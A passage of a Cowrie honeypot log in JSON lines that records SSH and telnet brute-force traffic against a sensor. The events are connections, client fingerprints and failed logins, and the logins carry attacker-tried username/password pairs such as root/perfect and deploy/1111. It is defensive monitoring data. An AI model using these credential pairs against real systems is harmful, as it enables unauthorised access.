{"eventid":"cowrie.session.closed","duration":35.2000253200531,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:18.524924Z","src_ip":"152.42.224.71","session":"0334a159ff8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.000731229782104,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:19.366161Z","src_ip":"81.60.238.225","session":"327f5522307b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16052,"dst_ip":"159.203.135.109","dst_port":22,"session":"979bec1332b2","protocol":"ssh","message":"New connection: 45.156.87.69:16052 (159.203.135.109:22) [session: 979bec1332b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:20.109626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:20.151582Z","src_ip":"45.156.87.69","session":"979bec1332b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:20.251772Z","src_ip":"45.156.87.69","session":"979bec1332b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:20.904290Z","src_ip":"45.156.87.69","session":"979bec1332b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:22.031670Z","src_ip":"45.156.87.69","session":"979bec1332b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55330,"dst_ip":"10.17.0.5","dst_port":23,"session":"9750d6d0c664","protocol":"telnet","message":"New connection: 152.42.224.71:55330 (10.17.0.5:23) [session: 9750d6d0c664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:22.256050Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":16066,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e48a9a7af25","protocol":"ssh","message":"New connection: 45.156.87.69:16066 (159.203.135.109:22) [session: 8e48a9a7af25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:23.890116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:23.895454Z","src_ip":"45.156.87.69","session":"8e48a9a7af25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:23.995067Z","src_ip":"45.156.87.69","session":"8e48a9a7af25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"park","password":"1qaz@WSX","message":"login attempt [park/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:24.431403Z","src_ip":"45.156.87.69","session":"8e48a9a7af25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:25.592126Z","src_ip":"45.156.87.69","session":"8e48a9a7af25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.28058958053589,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:27.451277Z","src_ip":"152.42.224.71","session":"07ea94827937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":61906,"dst_ip":"159.203.135.109","dst_port":22,"session":"11fa16225f45","protocol":"ssh","message":"New connection: 45.156.87.69:61906 (159.203.135.109:22) [session: 11fa16225f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:27.565616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:27.583475Z","src_ip":"45.156.87.69","session":"11fa16225f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:27.781635Z","src_ip":"45.156.87.69","session":"11fa16225f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c49fb8234a1","protocol":"ssh","message":"New connection: 103.195.236.96:35268 (159.203.135.109:22) [session: 5c49fb8234a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:28.024215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:28.029557Z","src_ip":"103.195.236.96","session":"5c49fb8234a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:28.271038Z","src_ip":"103.195.236.96","session":"5c49fb8234a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"salman","password":"salman","message":"login attempt [salman/salman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:28.531410Z","src_ip":"45.156.87.69","session":"11fa16225f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"perfect","message":"login attempt [root/perfect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:29.009325Z","src_ip":"103.195.236.96","session":"5c49fb8234a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:29.867284Z","src_ip":"45.156.87.69","session":"11fa16225f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:30.272022Z","src_ip":"103.195.236.96","session":"5c49fb8234a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00150108337402,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:31.075750Z","src_ip":"152.42.224.71","session":"09021a8db2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":61908,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c657113abc6","protocol":"ssh","message":"New connection: 45.156.87.69:61908 (159.203.135.109:22) [session: 2c657113abc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:31.592766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:31.707060Z","src_ip":"45.156.87.69","session":"2c657113abc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:31.711196Z","src_ip":"45.156.87.69","session":"2c657113abc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"P@ssw0rd","message":"login attempt [ftptest/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:32.633796Z","src_ip":"45.156.87.69","session":"2c657113abc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:33.717692Z","src_ip":"45.156.87.69","session":"2c657113abc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":61912,"dst_ip":"159.203.135.109","dst_port":22,"session":"6796b8df543f","protocol":"ssh","message":"New connection: 45.156.87.69:61912 (159.203.135.109:22) [session: 6796b8df543f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:35.477927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:35.485703Z","src_ip":"45.156.87.69","session":"6796b8df543f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:35.598169Z","src_ip":"45.156.87.69","session":"6796b8df543f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123root","message":"login attempt [app/123root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:36.068712Z","src_ip":"45.156.87.69","session":"6796b8df543f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:37.153448Z","src_ip":"45.156.87.69","session":"6796b8df543f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41942,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cbc8314fdaa","protocol":"ssh","message":"New connection: 45.156.87.69:41942 (159.203.135.109:22) [session: 4cbc8314fdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:39.213798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:39.239645Z","src_ip":"45.156.87.69","session":"4cbc8314fdaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:39.490443Z","src_ip":"45.156.87.69","session":"4cbc8314fdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45900,"dst_ip":"10.17.0.5","dst_port":23,"session":"781dc0741a3e","protocol":"telnet","message":"New connection: 152.42.224.71:45900 (10.17.0.5:23) [session: 781dc0741a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:39.527144Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1111","message":"login attempt [deploy/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:40.019366Z","src_ip":"45.156.87.69","session":"4cbc8314fdaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:41.116506Z","src_ip":"45.156.87.69","session":"4cbc8314fdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45902,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e7132e5d68","protocol":"telnet","message":"New connection: 152.42.224.71:45902 (10.17.0.5:23) [session: 43e7132e5d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:41.691268Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":41944,"dst_ip":"159.203.135.109","dst_port":22,"session":"726a560d8014","protocol":"ssh","message":"New connection: 45.156.87.69:41944 (159.203.135.109:22) [session: 726a560d8014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:43.027178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:49:43.109102Z","src_ip":"45.156.87.69","session":"726a560d8014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 